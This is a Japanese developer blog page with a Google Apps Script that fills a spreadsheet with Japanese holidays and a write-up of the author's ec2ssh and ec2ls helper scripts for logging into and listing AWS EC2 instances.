google spread sheetに自動更新される日本の祝日シートを作る - Qiita
この Qiita のコードをもっと簡単にしてみた。
自分のバージョンはこちら。
function generateHolidayList() { const url = 'https://docs.google.com/spreadsheets/d/xxxxxxxx'; const sheet = '日本の祝日'; const start = new Date('2018-01-01T00:00:00'); const end = new Date('2030-12-31T00:00:00'); const holidays = CalendarApp.getCalendarById('ja.japanese#holiday@group.v.calendar.google.com') .getEvents(start, end) .map(function(e) { return [e.getStartTime(), e.getTitle()] }); SpreadsheetApp.openByUrl(url).getSheetByName(sheet).getRange(1, 1, holidays.length, 2).setValues(holidays); }
このスクリプトは1カラム目に日付、2カラム目に祝日の名前を書き込む。
どこに書き込むのかは url, sheet 変数で決める。
- url は書き込み対象のスプレッドシート URL
- sheet は書き込み対象のシート名
一度実行すると上書きされる。実用上はそんなもんでいいのではないかな。元の qiita のは空白の制御とかもしてるけど滅多にやらないから手作業で十分だし、コードの見通しを良くしたい。あとは早すぎる抽象化をバッサリ削除した。
通常の ssh ライクな引数で簡単に EC2 にログインできるようなスクリプトを書いた
ec2ssh
Requirements
環境変数にこれ追加したほうがいいかも。
export AWS_SDK_LOAD_CONFIG=1
sudo gem install aws-sdk wget https://gist.githubusercontent.com/ishikuro/aca4afc01f96b9c4346b6623696d88dd/raw/4acf0f135d257ade0ae88f4fa44db51abd72605f/ec2ssh chmod u+x ec2ssh
Usage
ec2ssh [-l username] [-p port_number] [-r region] [-i identity_file] [-q] [--profile profile] [--dry-run] [username@]instance[:port_number] [command]
- -l username or username@
- 省略した場合は tag:User を自動的に使用する。tag:User も無いときはデフォルト値として ec2-user が使われる。
- -p port_number or :port_number
- 省略した場合はデフォルト値 22 が使われる
- -r region
- -i identity_file
- キーペアのファイルを指定する。ssh で適切にデフォルトが設定されているならば省略してもよい。
- -q
- quiet mode / セキュリティグループの設定警告や実行予定の ssh コマンドを出力しない。
- --profile profile
- --dry-run
- 実際には実行しない。インスタンスのユーザ名、IP アドレスを知りたいだけのときに有用。
- instance
- command
- ssh の引数として渡せる、リモートで実行したいコマンド
Examples
$ ec2ssh MyInstanceA # => ssh ec2-user@203.0.113.1 # インスタンスの User タグがあればそちらを拾ってユーザ名にしてくれる # User タグが無ければ ec2-user $ ec2ssh i-xxxxxxxxxxx # => ssh ec2-user@203.0.113.1 # i- で始まる文字列にするとインスタンス ID と見なす $ ec2ssh ubuntu@MyInstanceB # => ssh ubuntu@203.0.113.2 $ ec2ssh -l ubuntu MyInstanceB # => ssh ubuntu@203.0.113.2 # このようにしてユーザ名は上書き可能 $ ec2ssh -r us-east-1 MyInstanceC # => ssh centos@203.0.113.3 # リージョン指定可能 $ ec2ssh -i ./my.pem ubuntu@MyInstanceB:10022 # => ssh -i ./my.pem -p 10022 ubuntu@203.0.113.2 $ ec2ssh -i ./my.pem -l centos -p 10022 -r us-east-1 MyInstanceC # => ssh -i ./my.pem -p 10022 centos@203.0.113.3
おまけ機能として、デフォルトでセキュリティグループ許可し忘れがないか警告してくれる。リンク先は当該インスタンスに紐づいたセキュリティグループでフィルタされたコンソール。出力不要な場合は -q で抑止できる。
$ ec2ssh MyInstanceA If you cannot see the login prompt, check security group settings by https://ap-northeast-1.console.aws.amazon.com/ec2/v2/home?region=ap-northeast-1#SecurityGroups:groupId=sg-xxxxxx,sg-yyyyyy;sort=groupId ⚡️ ssh -p 22 centos@3.xx.xx.xx
未実装
コマンド実行 ssh host ls みたいなやつ警告を出力しない、quietモード(-q)- scp モード
region 設定が無いときに us-east-1 を使うようにする- credential エラーの対応
ec2ls
マネジメントコンソールを開かなくてもログインに必要な手がかりを一覧できるようなコマンドも作ってみた。併用すれば捗るはず。
ec2ls [-r region] [--profile profile] [-l]
AMI 名は先頭数文字だけ表示するようにした。ログインユーザ名を知るにはこれで十分。
$ ec2ls i-xxxxxxxxxxxxxxxxxxx running CentOS# Member i-xxxxxxxxxxxxxxxxxxx running Window# Admin i-xxxxxxxxxxxxxxxxxxx stopped amzn2-# WORK_AL2 i-xxxxxxxxxxxxxxxxxxx running ubuntu# IoT i-xxxxxxxxxxxxxxxxxxx running amzn-a# Greengrass $ ec2ls -l i-xxxxxxxxxxxxxxxxxxx running CentOS# Member Directory/DirectoryPublic1a(192.168.0.0/24) i-xxxxxxxxxxxxxxxxxxx running Window# Admin Directory/DirectoryPublic1a(192.168.0.0/24) i-xxxxxxxxxxxxxxxxxxx stopped amzn2-# WORK_AL2 default/DefaultPublic1a(172.31.16.0/20) i-xxxxxxxxxxxxxxxxxxx running ubuntu# IoT default/DefaultPublic1a(172.31.16.0/20) i-xxxxxxxxxxxxxxxxxxx running amzn-a# Greengrass default/DefaultPublic1a(172.31.16.0/20)
真面目に VPC, サブネット順にソートしたりしてるんだよ。